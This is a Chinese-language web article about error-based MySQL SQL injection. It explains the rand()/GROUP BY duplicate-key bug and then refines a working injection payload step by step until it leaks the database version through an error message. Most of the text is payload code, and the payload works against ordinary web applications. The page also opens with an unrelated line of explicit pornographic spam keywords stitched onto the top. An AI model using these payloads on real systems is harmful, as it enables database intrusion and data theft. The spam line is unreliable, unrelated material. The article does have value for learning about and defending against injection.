亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

網(wǎng)站MYSQL數(shù)據(jù)庫高級爆錯注入原分析

  發(fā)布時間:2016-08-24 19:12:36   作者:佚名   我要評論
國內(nèi)只有一大堆高級爆錯的利用代碼 沒人分析原因 這個是去官網(wǎng)查資料后分析給出的,需要的朋友可以參考下
這里主要用了mysql的一個BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重現(xiàn)過程:
SQL Code復(fù)制內(nèi)容到剪貼板
  1. use mysql;   
  2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
  3. select left(rand(),3),a from r1 group by 1;   
  4. select left(rand(),3),a, count(*) from r1 group by 1;   
  5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

于是便可以這樣拿來爆錯注入了。
 

復(fù)制代碼
代碼如下:

select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

嘗試拿來實(shí)戰(zhàn)
 

復(fù)制代碼
代碼如下:

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示錯誤 選擇的列應(yīng)該為一個。那么。我們換一下


復(fù)制代碼
代碼如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

 

復(fù)制代碼
代碼如下:

1248 (42000): Every derived table must have its own alias

提示多表查詢要有別名 那好辦
 

復(fù)制代碼
代碼如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者
 

復(fù)制代碼
代碼如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者: 小殘 繩命不息 |折騰不止

相關(guān)文章

最新評論